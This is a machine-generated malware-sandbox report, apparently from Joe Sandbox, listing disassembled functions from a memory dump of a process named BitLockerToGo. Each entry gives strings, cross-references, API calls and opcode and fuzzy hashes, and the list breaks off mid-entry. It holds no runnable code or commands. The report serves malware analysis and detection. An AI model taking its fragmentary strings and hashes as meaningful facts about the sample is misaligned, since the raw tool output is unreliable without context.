Function 0042E010 Relevance: 6.9, Strings: 5, Instructions: 631COMMON

Download Yara Rule

Strings

hpe(, xrefs: 0042E5EF
WR, xrefs: 0042E607
jisa, xrefs: 0042E5DF
\B, xrefs: 0042E15C, 0042E256, 0042E80C
efg`, xrefs: 0042E1FF

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: WR$\B$efg`$hpe($jisa
API String ID: 0-3775183425
Opcode ID: 400a75d1c97eb8bc7a673315f5d5cf27d5611656c2d5a4caa98f9c258ccb3d26
Instruction ID: 58ba2bbe391f5759b8ba4d0e6d285e08cbbd530812b0048c999d57dfe1387f50
Opcode Fuzzy Hash: 400a75d1c97eb8bc7a673315f5d5cf27d5611656c2d5a4caa98f9c258ccb3d26
Instruction Fuzzy Hash: 8D12217560C350DFD714DF25E88172BBBE2AB96304F548A3DF89587292D339C906CB4A

Function 00401328 Relevance: 6.6, Strings: 5, Instructions: 389COMMON

Download Yara Rule

Strings

0123456789abcdefxp, xrefs: 00401332
gfff, xrefs: 00401F12
gfff, xrefs: 00401F77
0123456789ABCDEFXP, xrefs: 00401328
-, xrefs: 00401ED7

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: -$0123456789ABCDEFXP$0123456789abcdefxp$gfff$gfff
API String ID: 0-3620105454
Opcode ID: 4f65a209e060512b6862ca16425b3cf1ea8f801bdcf9f8a606cb41aa02a68d99
Instruction ID: 64269b61a8eef3c2595f2a65bc39baf37c09aa1eadf57ca92663735224468d1d
Opcode Fuzzy Hash: 4f65a209e060512b6862ca16425b3cf1ea8f801bdcf9f8a606cb41aa02a68d99
Instruction Fuzzy Hash: F3E1A07160C3918FC715CF29C48026AFBE1AFD9314F088A7EE8D997392D278D945CB96

Function 00443620 Relevance: 5.8, Strings: 4, Instructions: 797COMMON

Download Yara Rule

Strings

InA>, xrefs: 00443B40
|Ai, xrefs: 00443DAC
p;, xrefs: 00443D94
t, xrefs: 0044398F

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: InA>$t$|Ai$p;
API String ID: 0-213182178
Opcode ID: bd08de5ba0c769b1ac2e0f12626b5efb3a2682a5462e0f3071c17ccdce07e20d
Instruction ID: a6a843eb858e05481f17cce05a31ef9f0259b050a6fc75cdcfb9c7e940cf2e33
Opcode Fuzzy Hash: bd08de5ba0c769b1ac2e0f12626b5efb3a2682a5462e0f3071c17ccdce07e20d
Instruction Fuzzy Hash: 2E4226726083554FD328CE28D85035FBBE2EBC5714F19C92DD8E59B381DB79C90A8B86

Function 0043F500 Relevance: 5.7, Strings: 4, Instructions: 693COMMON

Download Yara Rule

Strings

InA>, xrefs: 0043F850
f, xrefs: 0043F713
InA>, xrefs: 0043F5A0
efg`, xrefs: 0043F581

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: InA>$InA>$efg`$f
API String ID: 2994545307-2144246784
Opcode ID: 130b561d97d3b6993d4d62284a130179d22e7c1646632262d87926ded876ad0b
Instruction ID: 695ed9c0c3e4cdaf9bfe5a45b976e34e4d44aaca64038908e4aa5b865235e1f6
Opcode Fuzzy Hash: 130b561d97d3b6993d4d62284a130179d22e7c1646632262d87926ded876ad0b
Instruction Fuzzy Hash: 3A329E71A083019FD714CF29C890B2BBBE1BBC8314F189A2EF995973A1D778D845CB56

Function 00437689 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 004376D4
GetSystemMetrics.USER32 ref: 004376E3

Strings

, xrefs: 004377B7

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 2e16af3aaee41bec0d7c4024616bb22377455bebcff6ca0735259d95cebdc774
Instruction ID: 61fd95a6044f934e02848875cdd8eb35ba990383feace83ec03b6213460df8d8
Opcode Fuzzy Hash: 2e16af3aaee41bec0d7c4024616bb22377455bebcff6ca0735259d95cebdc774
Instruction Fuzzy Hash: DC5190B4E142099FDB40EFACD985A9EBBF0BB48300F104969E898E7350D734AD45CF96

Function 0043A482 Relevance: 5.3, Strings: 4, Instructions: 280COMMON

Download Yara Rule

Strings

g, xrefs: 0043A757
f, xrefs: 0043A753
`, xrefs: 0043A75B
e, xrefs: 0043A74F

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: `$e$f$g
API String ID: 0-2583803424
Opcode ID: 38a9516ba27449d4b12c3847cc731c3a740ce0a1a6372ea76a892fadc2d09e51
Instruction ID: a442af11484e474f7b316a2e5df83a75c22d6bc10bb145564453e70e13ff4d48
Opcode Fuzzy Hash: 38a9516ba27449d4b12c3847cc731c3a740ce0a1a6372ea76a892fadc2d09e51
Instruction Fuzzy Hash: 7FD1C32090CBD18ED332CB3C8448356BFE15B2A314F0D869DC4EA5B7D2C3B9A945C7A6

Function 00429B40 Relevance: 5.2, Strings: 4, Instructions: 250COMMON

Download Yara Rule

Strings

efg`, xrefs: 004294F5
efg`, xrefs: 00429514, 00429532
efg`, xrefs: 00429B64
#!, xrefs: 004294FC

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: efg`$efg`$efg`$#!
API String ID: 0-3813341956
Opcode ID: d93fe5311c6696b663b77fc231b36887b9e18d5685be2255572e25cd372cd0ea
Instruction ID: 8e1821fe89774ced70631adf1cf18db96d33011d02ee34616899e4668bddddf9
Opcode Fuzzy Hash: d93fe5311c6696b663b77fc231b36887b9e18d5685be2255572e25cd372cd0ea
Instruction Fuzzy Hash: 99815C39E04218CFDB14CFA4E891BAEB7B1FF4A301F5940A9D845AB322D739AD41DB54

Function 004225F0 Relevance: 4.5, Strings: 3, Instructions: 750COMMON

Download Yara Rule

Strings

efg`, xrefs: 00422780
J9d7, xrefs: 00422697
efg`, xrefs: 00422748, 00422710

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: J9d7$efg`$efg`
API String ID: 2994545307-4212305041
Opcode ID: 5a182df0cc3c09fb166fbcf6befd84ba183f3aa697adc05d39485736e19b05b6
Instruction ID: 6ae22f96eb14acd7ce936dfcd139a461e6ae181e8ca823a4fedfa1eb1b05c64e
Opcode Fuzzy Hash: 5a182df0cc3c09fb166fbcf6befd84ba183f3aa697adc05d39485736e19b05b6
Instruction Fuzzy Hash: DC320372708321ABD724CF15D94176BB7E2FBC8704F58482EE98997391E7B49801CB96

Function 00429731 Relevance: 4.3, Strings: 3, Instructions: 540COMMON

Download Yara Rule

Strings

efg`, xrefs: 004294F5
efg`, xrefs: 00429514, 00429532
#!, xrefs: 004294FC

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: efg`$efg`$#!
API String ID: 0-2969026812
Opcode ID: 4e3a5056480385d86690aab075cfeb77a29c9162e8714e91306b85e6ce629843
Instruction ID: 25f4298f3e6ed6c5be21b126ee51ebf81e4826a01a08bd2550a78423dd329ab1
Opcode Fuzzy Hash: 4e3a5056480385d86690aab075cfeb77a29c9162e8714e91306b85e6ce629843
Instruction Fuzzy Hash: 5702F97AE00225CFCB14CF68D881AAEB7B2FF4A310F698099D445BB361D735AD42CB54

Function 004232C0 Relevance: 4.3, Strings: 3, Instructions: 512COMMON

Download Yara Rule

Strings

v|ib, xrefs: 00423334
Q"\Y, xrefs: 004237D1
eeI, xrefs: 004236CD

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: Q"\Y$eeI$v|ib
API String ID: 0-1283941654
Opcode ID: b2d949dfb13bc295cb7a2a51db609976345699193f8ae1eda32cad2f9b626e4a
Instruction ID: 4d552cf58ead350928f723a4a1801e2ad85ab099344f93e215de5b921573484b
Opcode Fuzzy Hash: b2d949dfb13bc295cb7a2a51db609976345699193f8ae1eda32cad2f9b626e4a
Instruction Fuzzy Hash: F5F104B6A08311ABD300DF24DC81B9BBBE5AFC4304F14892DF89497352E679DE18C796

Function 0042A5CF Relevance: 4.2, Strings: 3, Instructions: 481COMMON

Download Yara Rule

Strings

J!C', xrefs: 0042A69C
\1q7, xrefs: 0042A680
efg`efg`efg`, xrefs: 0042A9FE

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: J!C'$\1q7$efg`efg`efg`
API String ID: 0-1672298583
Opcode ID: 1df81f8888a4eb5a04eb07e70a55c4368bf7e962f356c6ae790d49beb0927185
Instruction ID: ef40aef853601b7bd6bb5efbb998d0f541bedd867672e51828fa5f3ea20d5519
Opcode Fuzzy Hash: 1df81f8888a4eb5a04eb07e70a55c4368bf7e962f356c6ae790d49beb0927185
Instruction Fuzzy Hash: B3F1E2B5E00215CFEB14CF55D8817AEBB72FF45300F5A84AAD841AB352D734AC52CB99

Function 00427A8A Relevance: 4.2, Strings: 3, Instructions: 472COMMON

Download Yara Rule

Strings

4|B, xrefs: 00427C04
efg`, xrefs: 00427EF4
R{B, xrefs: 00427B44

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 4|B$R{B$efg`
API String ID: 0-1971417408
Opcode ID: 40eb750fbb718fd49339ba61a3c87b84bf7e4e0f440232d377e4898432607754
Instruction ID: 808a38f1cfb67ae9c08a8250fc78a742f3fc893acedd942767a399ee7670a43e
Opcode Fuzzy Hash: 40eb750fbb718fd49339ba61a3c87b84bf7e4e0f440232d377e4898432607754
Instruction Fuzzy Hash: B7F1BD7AE04216CFDB08CFA8EC917AEB3B2FB4A315F198078D905A7291D734A951CB44

Function 00427767 Relevance: 4.0, Strings: 3, Instructions: 286COMMON

Download Yara Rule

Strings

InA>, xrefs: 00427810
{, xrefs: 00427897
efg`, xrefs: 004277B0

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: {$InA>$efg`
API String ID: 0-1927733897
Opcode ID: d3486f60991773fee9f49e69c536c4ab2d26e82b0491e5c08068a85343aa0529
Instruction ID: 08a2e7a5d37eac5d6ac40d544b457f09caef7e96fecea3372c25b81f151374b1
Opcode Fuzzy Hash: d3486f60991773fee9f49e69c536c4ab2d26e82b0491e5c08068a85343aa0529
Instruction Fuzzy Hash: 5AA158B2E042258FDB14CFA9D8816BEBBB2FB55300F58812DD841BB391E7759D45CB84

Function 004441D0 Relevance: 4.0, Strings: 3, Instructions: 234COMMON

Download Yara Rule

Strings

TED, xrefs: 004444F1
BED, xrefs: 004444DE
TED, xrefs: 004444E4

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: BED$TED$TED
API String ID: 0-4266970047
Opcode ID: 0a78526f9be4b3e401073b32deedf42ed3391359f3512c170779dd4b77e9070f
Instruction ID: 1116d02d006216076cd839cf75bc78f2c9b883b92a2206bcf934aaa17da32679
Opcode Fuzzy Hash: 0a78526f9be4b3e401073b32deedf42ed3391359f3512c170779dd4b77e9070f
Instruction Fuzzy Hash: 18513439649311CFD314AF78E890A1AB7E1FBCA312F0A88BDC98557762C274D845CB85

Function 00429680 Relevance: 3.9, Strings: 3, Instructions: 178COMMON

Download Yara Rule

Strings

efg`, xrefs: 004294F5
efg`, xrefs: 00429514, 00429532
#!, xrefs: 004294FC

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: efg`$efg`$#!
API String ID: 0-2969026812
Opcode ID: 1ae9037a8a6ef4cb95c532688ce2c78fef8c129d2f60b831c4fce07c1b14c1e3
Instruction ID: 9fbffb40713b398d77dfcabee64b28e8bbe553b3d0d779a82b467f39b0cc42a2
Opcode Fuzzy Hash: 1ae9037a8a6ef4cb95c532688ce2c78fef8c129d2f60b831c4fce07c1b14c1e3
Instruction Fuzzy Hash: F0515B79E00218DFDB14CFA8D841AAEB7B1FF4A300F5940A9D845AB322D739AD51DF54

Function 00444380 Relevance: 3.9, Strings: 3, Instructions: 127COMMON

Download Yara Rule

Strings

TED, xrefs: 004444F1
BED, xrefs: 004444DE
TED, xrefs: 004444E4

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: BED$TED$TED
API String ID: 0-4266970047
Opcode ID: 2ecc1544ea7d5e3241da97ac98759e9251954f66c6b9276c4565f91a6e78a801
Instruction ID: e0a71f4d1ce538102cb5c1ed16b1f70106e8303ef8b18db33ec0918838e28800
Opcode Fuzzy Hash: 2ecc1544ea7d5e3241da97ac98759e9251954f66c6b9276c4565f91a6e78a801
Instruction Fuzzy Hash: 5741D23AA5A320CFC354DF28D890696B3E6EBCD312F1A8479C98593766D634EC40CB80

Function 0042F1E0 Relevance: 3.0, Strings: 2, Instructions: 539COMMON

Download Yara Rule

Strings

", xrefs: 0042F60E
", xrefs: 0042F695

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "$"
API String ID: 0-3758156766
Opcode ID: 6811cec03e7c64dc27b915098f58a2daa27aa2b18392091534de4100c71d04bb
Instruction ID: 0f1a36cbbfa6cd7b7f174725e774873b54e4b03d637147faa384a21cd200870b
Opcode Fuzzy Hash: 6811cec03e7c64dc27b915098f58a2daa27aa2b18392091534de4100c71d04bb
Instruction Fuzzy Hash: 0E020272B083259BC710CE28D48075BB7E6ABC5314FD98A3EE8959B381D778DD0D8786

Function 00427040 Relevance: 3.0, Strings: 2, Instructions: 481COMMON

Download Yara Rule

Strings

k5e3, xrefs: 00427059
01, xrefs: 00427061

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 01$k5e3
API String ID: 0-2813693549
Opcode ID: e60a6e5dba1c15a7b30bab98e77bf97991d7ff5460a1f01a5181ea03c752c8e7
Instruction ID: 84bc2e94d0e39d242bc324e61be3ca826bdd2b3549b58a0a37b7c85a0d7d99ee
Opcode Fuzzy Hash: e60a6e5dba1c15a7b30bab98e77bf97991d7ff5460a1f01a5181ea03c752c8e7
Instruction Fuzzy Hash: 0AC12472B083208BD714DF28D89277BB7E2EF91354F49852EEC8197391E2789D05C39A

Function 004038E0 Relevance: 2.9, Strings: 2, Instructions: 404COMMON

Download Yara Rule

Strings

Inf, xrefs: 00403933
NaN, xrefs: 0040393A

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: Inf$NaN
API String ID: 0-3500518849
Opcode ID: a4d28ee1b9c3a2b2a306d7e61ddc5dc79b3977f8ff9e5f424ac5aedefe9d74c3
Instruction ID: dd3be7c776b94e504c6a6d8d0383f4e32a36fa00984333f7af53f05925fd744f
Opcode Fuzzy Hash: a4d28ee1b9c3a2b2a306d7e61ddc5dc79b3977f8ff9e5f424ac5aedefe9d74c3
Instruction Fuzzy Hash: 51D1D472A083119BC704CF28C88061BBBE5EFC4750F158A3EE895A73D1E778ED458B86

Function 0042CF80 Relevance: 2.9, Strings: 2, Instructions: 387COMMON

Download Yara Rule

Strings

PK, xrefs: 0042CFA1
$G, xrefs: 0042CF99

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: $G$PK
API String ID: 0-1063224808
Opcode ID: e79da252d7beeb0dd8a2ff337d6e2340e18f0558f73186a5375a283c4743d454
Instruction ID: b4b4241d525d5f265bce6b6c758c8fb545502b3bea9c20d2ac0b0323ddec8148
Opcode Fuzzy Hash: e79da252d7beeb0dd8a2ff337d6e2340e18f0558f73186a5375a283c4743d454
Instruction Fuzzy Hash: 1DC1EE75A083618BD314CF28D8407AFBBE2EFC6700F05892DE8959B395D7B89905CB97

Function 00421E00 Relevance: 2.9, Strings: 2, Instructions: 369COMMON

Download Yara Rule

Strings

TV, xrefs: 00421EA1
KV, xrefs: 00421E91

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: KV$TV
API String ID: 0-3314556884
Opcode ID: 8ac7eec7c7eda2cc5b5a8642c9cfc7beade25fa413af0dc4ca04161fd3c22701
Instruction ID: 2714bf79ea0a49261b2b81243ebb2f974ec97ace33b098c0d9d613b547cc0a2a
Opcode Fuzzy Hash: 8ac7eec7c7eda2cc5b5a8642c9cfc7beade25fa413af0dc4ca04161fd3c22701
Instruction Fuzzy Hash: 67A100746083118BC310DF28D881A7BB7F0FFA2354F598A1DE9D58B3A0E7789941C79A

Function 00411D5F Relevance: 2.6, Strings: 2, Instructions: 150COMMON

Download Yara Rule

Strings

D, xrefs: 00411DE3
efg`, xrefs: 00411E5F

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: D$efg`
API String ID: 0-921062534
Opcode ID: b34808f986ba8398bc2a2212aa71208cf6140c5bb71923a3c12d6ac3d4a7f109
Instruction ID: e69c6105a7bc2a7b2207dfef70f97b8338a61596fe21cb9366529ec0486d700a
Opcode Fuzzy Hash: b34808f986ba8398bc2a2212aa71208cf6140c5bb71923a3c12d6ac3d4a7f109
Instruction Fuzzy Hash: BB51D5716183409FE324CF50C862B6FBBA1EBD0708F18892EE585172A1D7F99845CB8A

Function 0041FAD5 Relevance: 2.6, Strings: 2, Instructions: 94COMMON

Download Yara Rule

Strings

|, xrefs: 0041FB66
x~, xrefs: 0041FB5B

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: x~$|
API String ID: 0-2998493806
Opcode ID: d9f3eb50ead09cb11c776f5b7975877907a698ffaac664551f5753c146d6e9cd
Instruction ID: be0b7ca467c7981a7c500d576dbdf2818c81d5a35327316e98acbcf6bf2d8a78
Opcode Fuzzy Hash: d9f3eb50ead09cb11c776f5b7975877907a698ffaac664551f5753c146d6e9cd
Instruction Fuzzy Hash: 3631AFB55083508AC338CF25C8A17EBB7F1EF9A355F048A2CE4D99B290E7784545CB9A

Function 00405460 Relevance: 1.8, Strings: 1, Instructions: 541COMMON

Download Yara Rule

Strings

%1.17g, xrefs: 00405763

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: %1.17g
API String ID: 0-1551345525
Opcode ID: 3fa8d84c5c2ec224348a864e9e7cd589fabf1c041edc5296cfb68df52fed1560
Instruction ID: 3c04e5d8a7e799d27e4d982246db4db2b5b7e7f6f2873b04f679a58a4218fe6a
Opcode Fuzzy Hash: 3fa8d84c5c2ec224348a864e9e7cd589fabf1c041edc5296cfb68df52fed1560
Instruction Fuzzy Hash: 1F12F4B5A08B41CBE7258E598480327BAD2EF91314F19857FD889AB3C1E779CC45CF4A

Function 00426DE0 Relevance: 1.7, APIs: 1, Instructions: 241comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004489D8,00000000,00000001,004489C8), ref: 00426E09

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 00cef977429e82d5a42a81734f25ceb58ba6f920ff00fd8fe5712cfa56c34f76
Instruction ID: b2b7df950f00067aaf6714a7084ee4bc3aff87371256c09e9ba6f86a579f0791
Opcode Fuzzy Hash: 00cef977429e82d5a42a81734f25ceb58ba6f920ff00fd8fe5712cfa56c34f76
Instruction Fuzzy Hash: 5251EEB47002209BDB209B24EC82B7733B5EF81768F4A4559F985CB390E779EC05C76A

Function 0042D8E0 Relevance: 1.7, Strings: 1, Instructions: 479COMMON

Download Yara Rule

Strings

tw, xrefs: 0042DD60

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: tw
API String ID: 0-3303754386
Opcode ID: 72429973e5e226cc7d3e64d9f2917c1ed700335b235da0d07770ade294a3d15a
Instruction ID: 9527e3b00db8230af161e4cb9bfb67d2f4119ee1a2a8a5110bf258b05dd03bbc
Opcode Fuzzy Hash: 72429973e5e226cc7d3e64d9f2917c1ed700335b235da0d07770ade294a3d15a
Instruction Fuzzy Hash: DAD1FBB0A083208BC710DF15D86172BB7F1FFA6754F944A1DE8C25B794E3799902CB8A

Function 0042B427 Relevance: 1.7, Strings: 1, Instructions: 449COMMON

Download Yara Rule

Strings

{, xrefs: 0042B89C

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: {
API String ID: 0-4159065886
Opcode ID: 4a6fd4e144af45ebb9fc8a0c5ed7bf7db058f0428e06fe3b657757e2eb19e6e7
Instruction ID: 3d86c7686c2f360358db6f9fc7b7738b72b413f81e0b58ca8027b876a360aa40
Opcode Fuzzy Hash: 4a6fd4e144af45ebb9fc8a0c5ed7bf7db058f0428e06fe3b657757e2eb19e6e7
Instruction Fuzzy Hash: 6BE135B5A083919BC704CF14D49026BBBE2EFD6308F09886EE4C54B382D739ED45CB96

Function 00429C41 Relevance: 1.7, Strings: 1, Instructions: 434COMMON

Download Yara Rule

Strings

3, xrefs: 00429E3D

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 3
API String ID: 0-2288519025
Opcode ID: 5c57dc5e5f0cf1e21d87f69001fc48c98d13c5a727bb706f903eb9d68636ce01
Instruction ID: 762d79820ca69ecaa4c2a958404159c32d0134d504e5a2a6a2912733675bd9a5
Opcode Fuzzy Hash: 5c57dc5e5f0cf1e21d87f69001fc48c98d13c5a727bb706f903eb9d68636ce01
Instruction Fuzzy Hash: 58F190B1E10329DFDB28CF69D8427AABBB0EF06310F5441AED449AB381D3359945CF96

Function 00442589 Relevance: 1.6, Strings: 1, Instructions: 368COMMON

Download Yara Rule

Strings

?*D, xrefs: 004426B7

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ?*D
API String ID: 0-3467391518
Opcode ID: db9ac4046eda168a550bc2ced4ce87c36afbf18665e1c60eec7aa9f48817f32b
Instruction ID: b15d246112d7ce8d8e95395bce3bb0708ebb95a03421a7ac76e4764bfd418e71
Opcode Fuzzy Hash: db9ac4046eda168a550bc2ced4ce87c36afbf18665e1c60eec7aa9f48817f32b
Instruction Fuzzy Hash: CDD1233A608351CFC714CF39E88022EB7E2AF8A315F598A7DD991873A2D774D941CB85

Function 0043EB50 Relevance: 1.5, Strings: 1, Instructions: 256COMMON

Download Yara Rule

Strings

efg`, xrefs: 0043ED21

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: efg`
API String ID: 2994545307-115929991
Opcode ID: 830ce98f8b587a6cc9746fab8529a88c518401295d892d5443953668f635e6d0
Instruction ID: 8f2963a80f068208391631af0610f95f131f3d3694d03dc28efbdea46647667e
Opcode Fuzzy Hash: 830ce98f8b587a6cc9746fab8529a88c518401295d892d5443953668f635e6d0
Instruction Fuzzy Hash: CD716A32A063104FD714DE2DD8D276BB792FBD8724F19993ED8819B3E1D6789C018785

Function 00440010 Relevance: 1.5, Strings: 1, Instructions: 240COMMON

Download Yara Rule

Strings

InA>, xrefs: 00440090

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: InA>
API String ID: 2994545307-2903657838
Opcode ID: 9261efeb09ffa834144925c41173afb7e90e0813db3fecba5a26f064b68ed9b9
Instruction ID: 1002d9fbb041b660b93e3a4f5f84eb2fca0929a97a9dd59435ef69af5a142bb0
Opcode Fuzzy Hash: 9261efeb09ffa834144925c41173afb7e90e0813db3fecba5a26f064b68ed9b9
Instruction Fuzzy Hash: DB616831B083014BE724CE28CCC1B2BB7D2ABC5710F28893EEAD597396D679DC518B49

Function 0042EC10 Relevance: 1.5, Strings: 1, Instructions: 237COMMON

Download Yara Rule

Strings

", xrefs: 0042EED4

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 7e98b4656ee7a597cc4d0ae5467a7c4b97e5a60aa5ade5d03bcc0f57a0d03316
Instruction ID: c96af6b3fa42b42ee94c13983c469946e1aee54ac8edea8e52a79ed6b0f28965
